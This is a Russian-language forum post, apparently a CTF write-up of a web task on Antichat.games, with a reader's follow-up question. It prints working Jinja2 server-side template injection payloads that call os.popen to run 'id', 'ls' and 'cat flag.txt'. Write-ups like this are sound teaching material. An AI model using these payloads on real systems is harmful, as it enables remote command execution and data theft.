![]() |
Приветствую любителей играть в CTF, особенно тех кто любит играть на Antichat.games.
Сегодня рассмотрим таск под названием - Странный Сервер из категории Веб. https://forum.antichat.xyz/attachmen...a37f3f8a72.png Первое что мы видим переходя по ip: https://forum.antichat.xyz/attachmen...c377547901.png Здесь написано что можно что то протестировать, /same /hello_world и тд. При подстановки мы не получаем ничего интересного. В начале я думал что то связанное с фаззингом. Потратил время, но ничего не нашел. Зная что админы любят SSTI , и мы любим это, по этому просто подставляем базовую нагрузку в url: https://forum.antichat.xyz/attachmen...d170c0984a.png Успешно) и мы сразу понимаем что это Jinja2. Я часто обращаюсь к PayloadsAllTheThings, там подробно описано как определять шаблонизатор, так же там есть полезные нагрузки и не только для SSTI. Попробуем что то вывести : {{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('id').read() }} Этот код в языке шаблонов предполагает выполнение команды id. В результате его выполнения будет возвращена информация о текущем пользователе: https://forum.antichat.xyz/attachmen...36fe75c5be.png Попробуем теперь поискать что нибудь: {{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('ls').read() }} https://forum.antichat.xyz/attachmen...b7fcc2a33f.png {{ self.__init__.__globals__.__builtins__.__import__( 'os').popen('cat flag.txt').read() }} https://forum.antichat.xyz/attachmen...cfa3d26e1a.png Вот и наш заветный флаг. Задание оказалось максимально простым. Спасибо за внимание и до новых встреч! |
Спасибо за райтап!
Только вопрос: Как ты понял, что это Jinja2? Это результат опыта, или есть какой-то алгоритм, по которому можно определить? |
Цитата:
|
Цитата:
|
Цитата:
|
| Время: 03:25 |